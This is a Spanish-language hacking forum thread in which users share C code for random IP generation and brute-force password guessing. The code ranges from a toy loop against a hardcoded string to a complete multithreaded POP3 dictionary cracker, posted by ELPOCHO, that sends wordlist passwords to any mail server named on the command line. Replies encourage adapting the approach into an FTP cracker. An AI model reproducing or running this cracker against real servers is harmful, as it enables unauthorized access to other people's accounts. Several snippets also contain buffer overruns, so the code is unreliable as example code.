Páginas: [1]
|
 |
|
Autor
|
Tema: Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente en C) (Leído 9331 veces)
|
Rojodos
"If you wanna be free, you must be different"
Desconectado
Mensajes: 3.525
|
Generador de IPs aleatorias: http://foro.elhacker.net/index.php/topic,17165.0.html#include <iostream.h> #include <stdio.h> #include <stdlib.h>
int main(int argc, char *argv[]) { unsigned int ip[4]; printf("Generador de IPs aleatorias de 4 octetos por Rojodos\n\n"); int i = 0; srand( (unsigned)time( NULL ) ); while ( i < 4){ ip[i] = rand()%255; i++; } printf ("IP generada: %d.%d.%d.%d\n", ip[0], ip[1],ip[2],ip[3]); return 0; } Algoritmo basico de Brute Force en C: http://foro.elhacker.net/index.php/topic,17473.0.html/* Algoritmo de Brute Force Basico en C Original en Java: CrashCool http://hackxcrack.com/phpBB2/viewtopic.php?t=7994 Convertido en C por Rojodos */
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <time.h>
int compara (char *cadena_a_chekear){ char pass[] = {'9','1','1','o','o','o','\0'}; // 911ooo -> Password a Sacar return strcmp (cadena_a_chekear, pass); }
int main (){ printf ("Algoritmo basico de Brute Force\n"); printf ("Original en Java por CrashCool\n"); printf ("Convertido en C por Rojodos\n"); printf ("El programa trata de encontrar '911ooo' secuencialmente\n"); printf ("Se puede cambiar en el Codigo Fuente\n"); char Base[] = {'1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; int longitud = 36; char cadena[6]; char pass; unsigned long int claves = 0; clock_t reloj, reloj2; float tiempo; int i,j,k,l,m,n; // Iniciamos Brute Force printf ("Iniciando Brute Force\n"); reloj = clock(); for (i = 0; i < longitud; i++){ cadena[0] = Base[i]; for (j = 0; j < longitud; j++){ cadena[1] = Base[j]; for (k = 0; k < longitud; k++){ cadena[2] = Base[k]; for (l = 0; l < longitud; l++){ cadena[3] = Base[l]; for (m = 0; m < longitud; m++){ cadena[4] = Base[m]; for (n = 0; n < longitud; n++){ cadena[5] = Base[n]; cadena[6]='\0'; claves ++; // Chequeemos... if ( compara (cadena) == 0){ reloj2 = clock(); tiempo = ((float)reloj2-(float)reloj)/CLOCKS_PER_SEC; printf ("Password encontrado!\n\n"); printf ("Clave = %s\n", cadena); printf ("Tiempo transcurrido = %f segundos\n", tiempo); printf ("Claves Generadas = %d\n", claves); exit(0); } } } } } } } return 0; }
|
|
|
|
« Última modificación: 22 Septiembre 2004, 03:34 por Rojodos »
|
En línea
|
|
|
|
ELPOCHO
Desconectado
Mensajes: 9
|
hay un problema con tu función de ip aleatoria... el módulo está mal implementado, acá tenés uno correcto: #include <stdio.h> #include <stdlib.h> #include <time.h>
int main(void) { srand(time(NULL)); printf("%d.%d.%d.%d\n", rand()%256, rand()%256, rand()%256, rand()%256); return 0; }
y para lo otro... mejor hacer una función recursiva... igual te digo que hacer un crackeo por fuerza bruta o diccionario a través de un sólo proceso no es para nada recomendado... usa multiprocesamiento con fork... o mejor, si te animás, pthreads es la mejor opción bueno chau
|
|
|
|
« Última modificación: 04 Enero 2005, 13:09 por ELPOCHO »
|
En línea
|
|
|
|
ELPOCHO
Desconectado
Mensajes: 9
|
mirá este crackeador de POP3 por diccionario... #include <stdio.h> #include <pthread.h> #include <netdb.h> #define NPT 60 #define BUFF 128 #define PORT 110
pthread_mutex_t mut = PTHREAD_MUTEX_INITIALIZER; pthread_t thrd[NPT]; struct sockaddr_in addr; FILE *fp; char user[BUFF]; long int count = 0;
void cleanup(void) { fclose(fp); pthread_mutex_destroy(&mut); exit(0); } void popc(char *pass) { char buff[BUFF]; int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) != 0) popc(pass);
recv(sock, buff, BUFF, 0); memset(buff, 0, BUFF);
send(sock, user, strlen(user), 0); recv(sock, buff, BUFF, 0); memset(buff, 0, BUFF);
send(sock, pass, strlen(pass), 0); recv(sock, buff, BUFF, 0);
close(sock); if(buff[0] == '+') { printf("\n%s", pass); cleanup(); }
pthread_mutex_lock(&mut); count++; pthread_mutex_unlock(&mut); printf("\rTRY %ld", count); fflush(stdout); }
void task(void) { char *c, buff[BUFF], pass[BUFF]; while(1) { pthread_mutex_lock(&mut); if(fgets(buff, BUFF, fp) == NULL) { pthread_mutex_unlock(&mut); break; } pthread_mutex_unlock(&mut); if((c=strchr(buff, '\n')) != NULL) *c = '\0'; sprintf(pass, "PASS %s\n", buff); popc(pass); memset(buff, 0, BUFF); }
pthread_exit((void *)0); }
int main(int argc, char *argv[]) { int i; struct hostent *hp;
if(argc != 4) { printf("incorrect number of arguments, run as: %s domain user wordlist\n", argv[0]); return 1; } if((hp=gethostbyname(argv[1])) == NULL) { printf("host not found\n"); return 1; } if((fp=fopen(argv[3], "r")) == NULL) { printf("cannot open wordlist\n"); return 1; }
addr.sin_family = AF_INET; memcpy(&addr.sin_addr, hp->h_addr, hp->h_length); addr.sin_port = htons(PORT);
sprintf(user, "USER %s\n", argv[2]); pthread_mutex_init(&mut, NULL); for(i=0; i<NPT; i++) pthread_create(&thrd[i], NULL, (void *)task, NULL); for(i=0; i<NPT; i++) pthread_join(thrd[i], NULL); printf("\nPASS not found\n"); cleanup(); }
|
|
|
|
« Última modificación: 04 Enero 2005, 13:14 por ELPOCHO »
|
En línea
|
|
|
|
N3wBy3
Desconectado
Mensajes: 24
Soy Colombiano y que?
|
Exelente Kodigo, es muy util 8)
|
|
|
|
|
En línea
|
En la Noche de los tiempos de tu oscuridad , he regresado a buscar un don para la humanidad. porke pronunias mi nombre, aunke ya sabes kien de tu soberbia y tu odio el reflejo alimentado soy. Soy el eko de tu ira el espejo en Ti, tu avaricia se refleja y me da poder. Fluyo atravez de las vidas, que no konsiguen saber donde encontrar la salida que abre las puertas del mal y del bien ....
|
|
|
Diabliyo
Desconectado
Mensajes: 789
M.S.I Angel Cantu
|
Algoritmo basico de Brute Force en C: http://foro.elhacker.net/index.php/topic,17473.0.html/* Algoritmo de Brute Force Basico en C Original en Java: CrashCool http://hackxcrack.com/phpBB2/viewtopic.php?t=7994 Convertido en C por Rojodos */
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <time.h>
int compara (char *cadena_a_chekear){ char pass[] = {'9','1','1','o','o','o','\0'}; // 911ooo -> Password a Sacar return strcmp (cadena_a_chekear, pass); }
int main (){ printf ("Algoritmo basico de Brute Force\n"); printf ("Original en Java por CrashCool\n"); printf ("Convertido en C por Rojodos\n"); printf ("El programa trata de encontrar '911ooo' secuencialmente\n"); printf ("Se puede cambiar en el Codigo Fuente\n"); char Base[] = {'1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; int longitud = 36; char cadena[6]; char pass; unsigned long int claves = 0; clock_t reloj, reloj2; float tiempo; int i,j,k,l,m,n; // Iniciamos Brute Force printf ("Iniciando Brute Force\n"); reloj = clock(); for (i = 0; i < longitud; i++){ cadena[0] = Base[i]; for (j = 0; j < longitud; j++){ cadena[1] = Base[j]; for (k = 0; k < longitud; k++){ cadena[2] = Base[k]; for (l = 0; l < longitud; l++){ cadena[3] = Base[l]; for (m = 0; m < longitud; m++){ cadena[4] = Base[m]; for (n = 0; n < longitud; n++){ cadena[5] = Base[n]; cadena[6]='\0'; claves ++; // Chequeemos... if ( compara (cadena) == 0){ reloj2 = clock(); tiempo = ((float)reloj2-(float)reloj)/CLOCKS_PER_SEC; printf ("Password encontrado!\n\n"); printf ("Clave = %s\n", cadena); printf ("Tiempo transcurrido = %f segundos\n", tiempo); printf ("Claves Generadas = %d\n", claves); exit(0); } } } } } } } return 0; } Hola: Pienso que este codigo no es muy eficiente y bueno, ya que si le paso un "password" de 4 letras, pues jamas lo sacara :S.... Ademas, segun el codigo, este codigo solo busca passwords de 5 letras, pero que sean diferentes de 000000.... osea, si mi password es: 000000 ... aun asi siendo de 6 caracteres, jama slo encontrara !!!.... Ya que si se fijan bien.... al iniciar los FOR()s, inicializa la variable cadena[]={ '1', '1', '1', '1', '1', '1', '\0 }; a.... Y de aqui parte haciendo un sin fin de combinaciones saltando de numero de numero !!.... Espero y me entiendan !!! byeee
|
|
|
|
« Última modificación: 13 Octubre 2005, 00:01 por Diabliyo »
|
En línea
|
|
|
|
|
|
vampyryc
Desconectado
Mensajes: 44
|
wenas, esto como se utiliza... los brute force estos
|
|
|
|
|
En línea
|
|
|
|
Kanny
Desconectado
Mensajes: 45
No hay camino hacia la libertad.... la libertad es
|
Wenas!! Perdonad mi ignorancia.. pero al igual que vampyryc... ¿¿como se usan??  mas que nada lo digo porque tienes que introducir tu el codigo a rebentar no? asi que.. realmente ... qué utilidad tienen?? como ya he dicho.. perdonad pero no he usado nunca una "herramienta" asi.. Un saludo!! Agur!!
|
|
|
|
|
En línea
|
|
|
|
Diabliyo
Desconectado
Mensajes: 789
M.S.I Angel Cantu
|
Hola: Pues un programa como estos sirve para reventar un codigo, osea, descifrar la PALABRA CLAVE, CODIGO o lo que sea... El chiste es que estos codigos, son solo para saber COMO Obtener el password o palabra coerrecta.... y la FORMA DE APLICARLO va con la creatividad que tenga cada uno.... Vaya, lo que ven aqui es solo un ALGORITMO para saber como obtener un password, ustedes mismos deben disenar la aplicacion que contendra este Pedazo de Codigo... Ejemplo: Un crackeador FTP en LineaHablando teoricamente, los FTP se manejan por una serie de comandos ( osea protocolos ) que nos dicen ALGO.... tons aqui solo disenamos un programa que pueda comunicarse con un FTP. Pero como bien se sabe, todos los FTP requieren AUTENTIFICACION ( user y pass ), he aqui donde entra el pedazo de codigo que ven ustedes :d. Osea, no es nadamas de TOMAR este algoritmo y ya.... sino ahi que hacer una aplicacion que interactue con ALGO... UN FTP, WINDOWS, etc.... y despues la LOGICA para obtener el password, es el PEDAZO DE CODIGO este  byee
|
|
|
|
|
En línea
|
|
|
|
Kanny
Desconectado
Mensajes: 45
No hay camino hacia la libertad.... la libertad es
|
Osea, no es nadamas de TOMAR este algoritmo y ya.... sino ahi que hacer una aplicacion que interactue con ALGO... UN FTP, WINDOWS, etc.... y despues la LOGICA para obtener el password, es el PEDAZO DE CODIGO este  byee Gracias diabliyo!! No se me habia ocurrido!!  me pondre a hacer algunas pruebas! Gracias!
|
|
|
|
|
En línea
|
|
|
|
|
H@T
|
Rodojos esta bueno tu codigo para generar ips, es mas es sencillo pero yo le estoy haciendo modificaciones para que devuelva varias direcciones Ip's y utilizarlo para pinguearlas...
Pero tengo una duda que porai alguien me puede ayudar, cuando el programa me genera un ip quiero utilizar system("ping ip"), pero el problema es que no se como hacerlo..
Que deberia poner la ip en una variable o recomiendan de otra forma?
Gracias Bye
|
|
|
|
|
En línea
|
|
|
|
Diabliyo
Desconectado
Mensajes: 789
M.S.I Angel Cantu
|
Rodojos esta bueno tu codigo para generar ips, es mas es sencillo pero yo le estoy haciendo modificaciones para que devuelva varias direcciones Ip's y utilizarlo para pinguearlas...
Pero tengo una duda que porai alguien me puede ayudar, cuando el programa me genera un ip quiero utilizar system("ping ip"), pero el problema es que no se como hacerlo..
Que deberia poner la ip en una variable o recomiendan de otra forma?
Gracias Bye
Utilizar system(); de esa forma, es la incorrecta.... Utiliza otra funcion.... cual ??... pues en Linux utilizo exec() o execv(), nose si estedisponible esta funcion para windows !! Pero para un mejor uso, es mejor realizar un socket, y hacerle ping desde tu sockets ( osea intentar conectarte )... byeee
|
|
|
|
|
En línea
|
|
|
|
pkzz
Desconectado
Mensajes: 20
|
Aca va un cambio para que pueda encontrar claves de 1 a 6 caracteres #include <stdio.h> #include <string.h> #include <stdlib.h> #include <time.h>
#define pass "root" clock_t reloj,reloj2; unsigned long int claves; int mostrar() { float tiempo; tiempo = ((float)reloj2-(float)reloj)/CLOCKS_PER_SEC; printf("Clave encontrada \n"); printf("Tiempo: %f\n",tiempo); printf("Claves usadas %ld",claves); exit(0); return 0; } int compara(char *cadena_a_comparar) { return strcmp(cadena_a_comparar,pass); }
int main() { char base[]={'1','2','3','4','5','6','7','8','9','0','a','b','c','d','e', 'f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x', 'y','z'}; int longitud=sizeof(base); char passwd[6]; int k,h,g,f,d,s; claves=0; reloj=clock(); passwd[1]='\0'; for (k=0;k<=longitud;k++) { passwd[0]=base[k]; claves++; if (compara(passwd)==0){ reloj2=clock(); mostrar(); } } passwd[2]='\0'; for (k=0;k<=longitud;k++){ passwd[0]=base[k]; for (h=0;h<=longitud;h++){ passwd[1]=base[h]; claves++; if (compara(passwd)==0){ reloj2=clock(); mostrar(); } } } passwd[3]='\0'; for (k=0;k<=longitud;k++){ passwd[0]=base[k]; for (h=0;h<=longitud;h++){ passwd[1]=base[h]; for (g=0;g<=longitud;g++){ passwd[2]=base[g]; claves++; if (compara(passwd)==0){ reloj2=clock(); mostrar(); } } } } passwd[4]='\0'; for(k=0;k<=longitud;k++){ passwd[0]=base[k]; for(h=0;h<=longitud;h++){ passwd[1]=base[h]; for(g=0;g<=longitud;g++){ passwd[2]=base[g]; for(f=0;f<=longitud;f++){ passwd[3]=base[f]; claves++; if (compara(passwd)==0){ reloj2=clock(); mostrar(); } } } } } passwd[5]='\0'; for(k=0;k<=longitud;k++){ passwd[0]=base[k]; for(h=0;h<=longitud;h++){ passwd[1]=base[h]; for(g=0;g<=longitud;g++){ passwd[2]=base[g]; for(f=0;f<=longitud;f++){ passwd[3]=base[f]; for(d=0;d<=longitud;d++){ passwd[4]=base[d]; claves++; if (compara(passwd)==0){ reloj2=clock(); mostrar(); } } } } } } passwd[6]='\0'; for(k=0;k<=longitud;k++){ passwd[0]=base[k]; for(h=0;h<=longitud;h++){ passwd[1]=base[h]; for(g=0;g<=longitud;g++){ passwd[2]=base[g]; for(f=0;f<=longitud;f++){ passwd[3]=base[f]; for(d=0;d<=longitud;d++){ passwd[4]=base[d]; for(s=0;s<=longitud;s++){ passwd[5]=base[s]; claves++; if (compara(passwd)==0){ reloj2=clock(); mostrar(); } } } } } } } return 0; }
|
|
|
|
|
En línea
|
|
|
|
alvk4r
Desconectado
Mensajes: 86
Casi...
|
Este algoritmo (brute-force) viene matematicament explicado en el libro: Data Structures and Algorithms with Object-Oriented Design Patterns in C++ en el capitulo Brute-Force Algorithm
Como no se como postear esas formulas, no puedo hacer una transcripcion, aunque me hubiese gustado... acompa~andolas con una explicacion bastante "digerible" que elabore hace unos meses en ocasion de impartir una clase sobre el tema.
La comprension de los algoritmos "en bruto", y el metodo de estos es super importante a la hora de desarrollar nuestros propios programas que los implementen... Ademas nos permite ajustar nuestro codigo, buscando la forma de aumentar el rendimiento del programa al maximo.
|
|
|
|
|
En línea
|
|
|
|
|
Páginas: [1]
|
|
|
|